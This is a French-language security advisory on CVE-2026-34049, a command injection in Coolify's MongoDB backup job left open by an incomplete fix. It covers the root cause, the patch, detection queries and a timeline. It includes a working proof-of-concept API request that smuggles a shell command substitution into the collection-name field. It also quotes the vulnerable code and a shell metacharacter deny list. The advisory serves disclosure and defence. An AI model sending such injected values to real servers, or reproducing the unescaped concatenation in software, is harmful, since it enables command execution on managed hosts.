CVE-2026-34049

CVSS 3.3 · Faible Corrigé
Type
Recherche de vulnérabilités
Publié le
Durée de lecture
7 min de lecture
Auteur
rootzero
Read in English
Read in English →

CVE-2026-34049 : injection de commandes dans les sauvegardes Coolify, correctif incomplet de CVE-2025-66209

Le correctif de CVE-2025-66209 échappait les noms de bases dans les sauvegardes Coolify, pas les noms de collections MongoDB, qui atteignaient un shell root.

Pour décider

Impact
Un nom de collection MongoDB peut devenir une commande exécutée sur le serveur géré par Coolify.
Conditions
L’attaquant doit pouvoir configurer une sauvegarde. Le premier correctif protégeait les noms de bases, sans couvrir les collections.
Action recommandée
Installer Coolify 4.0.0-beta.471 ou ultérieur et revoir les droits de configuration des sauvegardes.

Fiche de l’avis

Produit
Coolify
Paquet
composer · coollabsio/coolify
Versions affectées
≥ 4.0.0-beta.451, ≤ 4.0.0-beta.470
Corrigé dans
4.0.0-beta.471
CVSS
3.3 Faible
Faiblesse
CWE-78
Accès requis
Compte requis
Avis publié
Crédit
rootzero

Synthèse de l’enquête

Le correctif de Coolify pour CVE-2025-66209 validait et échappait les noms de bases d’une configuration de sauvegarde, mais les noms de collections MongoDB écrits dans le même champ arrivaient toujours tels quels dans la commande mongodump. Un membre d’équipe autorisé à configurer des sauvegardes, ce que la politique par défaut accorde à tous, pouvait exécuter des commandes en root sur le serveur géré. L’éditeur note la faille 3,3 ; l’impact technique est proche de la faille d’origine notée 9,9. Corrigé en 4.0.0-beta.471.

Le nom de collection oublié par le correctif

Nous sommes repartis du correctif de CVE-2025-66209, qui validait le nom de base dans la configuration des sauvegardes Coolify. Le champ MongoDB contient aussi des noms de collections. Nous avons vérifié chaque morceau après le découpage : le nom de base était protégé, les collections passaient encore dans une commande shell. L’API n’exigeait qu’une chaîne et ne bloquait donc pas ce chemin. Livewire découpait le champ autrement que le job MongoDB, mais sa validation sur la chaîne entière pouvait refuser ce payload ; sans rejeu de l’interface, nous ne revendiquons pas une voie UI fonctionnelle.

Notre rapport soumis nomme la beta.469 et décrit un PoC déclenchant immédiatement une sauvegarde avec une substitution de commande dans le nom de collection. Il ne conserve ni sortie de la commande côté serveur ni lecture du marqueur. Le code montre que cette valeur atteint le shell sur le serveur géré ; les privilèges dépendent du compte SSH utilisé par Coolify. Nous ne revendiquons donc pas une exécution root observée sur la seule base de ce rapport. Nous avons signalé le cas le 23 mars 2026. Coolify a ajouté validation et échappement des collections le 25, publié la beta.471 le 9 avril, puis l’avis CVE-2026-34049 en juillet. C’est l’histoire d’un correctif incomplet sur un champ structuré, pas une nouvelle entrée indépendante.

Un champ de sauvegarde structuré, un correctif partiel

Coolify exécute les sauvegardes de bases sur les serveurs qu’il gère en SSH. Pour MongoDB, databases_to_backup porte les noms de base et de collection : valider seulement le premier élément laisse un autre chemin vers la tâche de sauvegarde.

Les sauvegardes de bases de données font partie de ses fonctions. Pour chaque base, l’utilisateur définit une planification et un champ databases_to_backup qui précise ce qu’il faut exporter. Pour PostgreSQL ou MySQL, le champ est une liste de bases séparées par des virgules. Pour MongoDB, il accepte un format plus riche, dbname:collection1,collection2|dbname2:collection3, où les noms placés après les deux-points sont des collections à exclure de l’export. À chaque exécution, DatabaseBackupJob construit à partir de ce champ une commande docker exec ... mongodump ... et la lance sur le serveur géré.

Ce même champ avait déjà fait l’objet de CVE-2025-66209, une injection de commandes authentifiée que Coolify avait notée 9,9 et corrigée en 4.0.0-beta.451 en validant et en échappant les noms de bases.

Vérifier chaque composant après le premier correctif

Dans DatabaseBackupJob.php, le correctif de beta.451 valide et échappe le nom de base MongoDB. Les noms de collections lus dans le même champ entrent encore dans la commande mongodump sans échappement. Nous avons vérifié les deux voies d’entrée : create_backup et update_backup dans DatabasesController.php acceptent databases_to_backup comme chaîne. L’éditeur Livewire découpe cette chaîne autrement que la tâche et peut rejeter cette charge ; notre rapport étaye donc la voie API, tandis que la voie UI demanderait son propre rejeu.

Le rapport soumis désigne la 4.0.0-beta.469 (commit 06f60c9) comme version testée ; il ne joint pas de résultat capturé côté serveur.

Cause racine

La branche MongoDB du job de sauvegarde, après le correctif de CVE-2025-66209 :

// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.469)
if (str($databaseWithCollections)->contains(':')) {
    $databaseName = str($databaseWithCollections)->before(':');
    $collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
} else {
    $databaseName = $databaseWithCollections;
    $collectionsToExclude = collect();
}
$commands[] = 'mkdir -p '.$this->backup_dir;

// Validate and escape database name to prevent command injection
validateShellSafePath($databaseName, 'database name');
$escapedDatabaseName = escapeshellarg($databaseName);

if ($collectionsToExclude->count() === 0) {
    // ... safe path ...
} else {
    if (str($this->database->image)->startsWith('mongo:4')) {
        $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection "
            .$collectionsToExclude->implode(' --excludeCollection ')
            ." --archive > $this->backup_location";
    } else {
        $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection "
            .$collectionsToExclude->implode(' --excludeCollection ')
            ." --archive > $this->backup_location";
    }
}

Le contraste tient en quelques lignes : $databaseName passe par validateShellSafePath() et escapeshellarg(), $collectionsToExclude est concaténé tel quel dans la commande, sur les deux branches. Les commandes sont ensuite transmises à instant_remote_process(), qui les envoie en SSH au serveur géré, où bash les interprète. Le défaut est une injection de commandes système (CWE-78), et plus précisément un correctif incomplet : le patch a fermé le chemin démontré par le premier signalement et laissé ouvert son voisin dans le même champ.

Exploitation

L’attaquant a besoin d’un jeton d’API doté de la capacité write et d’une base MongoDB dans son équipe. Une seule requête, adaptée de la preuve de concept de l’avis, crée une configuration de sauvegarde dont la liste de collections porte une substitution de commande, et backup_now déclenche le job immédiatement :

curl -s -X POST "$COOLIFY_URL/api/v1/databases/$DB_UUID/backups" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "frequency": "every_minute",
    "enabled": true,
    "databases_to_backup": "admin:$(id > /tmp/coolify-rce-proof)",
    "backup_now": true
  }'

Le job lit admin comme nom de base, qui passe la validation, et $(id > /tmp/coolify-rce-proof) comme collection à exclure. Le serveur géré reçoit :

docker exec <container> mongodump ... --excludeCollection $(id > /tmp/coolify-rce-proof) --archive > ...

Bash effectue la substitution de commande avant de lancer docker exec : le payload s’exécute donc sur l’hôte, avec l’utilisateur SSH de Coolify, potentiellement root si l’installation gère cet hôte avec un compte SSH root. Avec une fréquence every_minute, il s’exécute de nouveau à chaque sauvegarde planifiée.

Impact

L’avis note la faille 3,3 (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N). La tâche de sauvegarde envoie la commande construite en SSH vers un serveur géré, sur lequel Coolify opère couramment en root. Si la commande injectée y est exécutée, elle dispose des accès de ce compte à l’hôte et à son environnement Docker. Notre rapport conservé ne contient pas de marqueur côté serveur : c’est l’impact du chemin suivi dans le code, pas une session root observée localement.

Sur les privilèges, le code justifie un seuil plus bas que PR:H. Dans la 4.0.0-beta.470, DatabasePolicy::manageBackups() renvoie true pour tout utilisateur, la vérification d’administrateur étant en commentaire, et les routes d’API exigent seulement un jeton doté de la capacité write. Tout membre d’équipe capable de créer un tel jeton atteint le point d’exécution.

L’avis ne motive pas ce vecteur. Une revue de code ne suffit pas à calculer une note de remplacement. Pour l’exploitant, la question concrète est de savoir si un membre autorisé à modifier les sauvegardes est également censé pouvoir exécuter des commandes sous le compte serveur de Coolify.

Correctif

Coolify 4.0.0-beta.471, publié le 09/04/2026, contient le commit 9904360 (#9168, fusionné le 25/03/2026). Il corrige ensemble le point d’exécution et les couches d’entrée. Dans le job, chaque nom de collection est désormais validé et échappé individuellement :

// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.471)
$escapedCollections = $collectionsToExclude->map(function ($collection) {
    $collection = trim($collection);
    validateShellSafePath($collection, 'collection name');

    return escapeshellarg($collection);
});

Un nouvel utilitaire, validateDatabasesBackupInput(), analyse tous les formats du champ (découpage sur |, puis :, puis ,) et valide chaque nom de base et de collection. Il est appelé depuis les deux endpoints d’API, qui répondent désormais par une erreur 422, et remplace la boucle limitée aux virgules dans BackupEdit.php.

validateShellSafePath() est une liste de refus (backticks, $(, ${, |, &, ;, retours à la ligne, tabulations, <, >) : la protection effective est donc escapeshellarg() au point d’exécution, qui met la valeur entre apostrophes quel que soit son contenu. La version inclut aussi le commit 952f324, qui applique escapeshellarg() aux identifiants insérés dans les commandes de sauvegarde de PostgreSQL, MySQL, MariaDB et MongoDB. Ensemble, ils ferment les variantes de ce champ et de ses voisins, ce qui correspond à la revue qui avait manqué au premier correctif.

Détection et mitigation

  1. Mettre à jour Coolify vers la 4.0.0-beta.471 ou une version ultérieure.

  2. Rechercher dans la base PostgreSQL de Coolify les configurations de sauvegarde dont le champ contient de la syntaxe shell, et examiner les correspondances comme des pistes, pas comme une preuve d’exploitation :

    SELECT id, databases_to_backup
    FROM scheduled_database_backups
    WHERE databases_to_backup ~ '[$;|&<>()]' OR strpos(databases_to_backup, chr(96)) > 0;
  3. Passer en revue les jetons d’API dotés de la capacité write et les membres qui les détiennent, et révoquer ceux qui ne sont pas nécessaires.

  4. Sur les serveurs gérés, rechercher dans l’historique shell, auditd ou la télémétrie EDR les processus lancés par la session SSH de l’utilisateur Coolify autour des sauvegardes qui ne sont ni docker exec ni mongodump.

  5. Examiner dans Coolify les journaux d’exécution des sauvegardes MongoDB qui se terminent par une sortie ou des erreurs inattendues après une modification de configuration.

Chronologie

Date Événement
27/11/2025 Publication de Coolify 4.0.0-beta.451 avec le correctif de CVE-2025-66209
03/01/2026 Publication de l’avis GHSA-vm5p-43qh-7pmq (CVE-2025-66209)
23/03/2026 Signalement privé du contournement, désignant la 4.0.0-beta.469 comme version testée ; aucune sortie de commande conservée
24/03/2026 Publication de Coolify 4.0.0-beta.470, toujours vulnérable
25/03/2026 Validation et échappement des noms de collections intégrés au code (9904360, #9168)
09/04/2026 Publication de Coolify 4.0.0-beta.471
02/07/2026 Publication de l’avis GHSA-4mpw-wcj4-v9pp avec CVE-2026-34049

Références

  1. Avis de l’éditeur · CVE-2026-34049 github.com/coollabsio/coolify/security/advisories/GHSA-4mpw-wcj4-v9pp
  2. Fiche NVD · CVE-2026-34049 nvd.nist.gov/vuln/detail/CVE-2026-34049
  3. Fiche CVE.org · CVE-2026-34049 www.cve.org/CVERecord?id=CVE-2026-34049
  4. MITRE CWE-78 cwe.mitre.org/data/definitions/78.html
  5. Dépôt du projet github.com/coollabsio/coolify

Citer cet avis

rootzero. « CVE-2026-34049 : injection de commandes dans les sauvegardes Coolify, correctif incomplet de CVE-2025-66209 ». Recherche de vulnérabilités, rootzero, 2 juillet 2026. https://rootzero.eu/research/cve/cve-2026-34049-coolify-backup-command-injection/

#Recherche de vulnérabilités

Faites auditer votre code avant qu’un autre ne le fasse.

Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.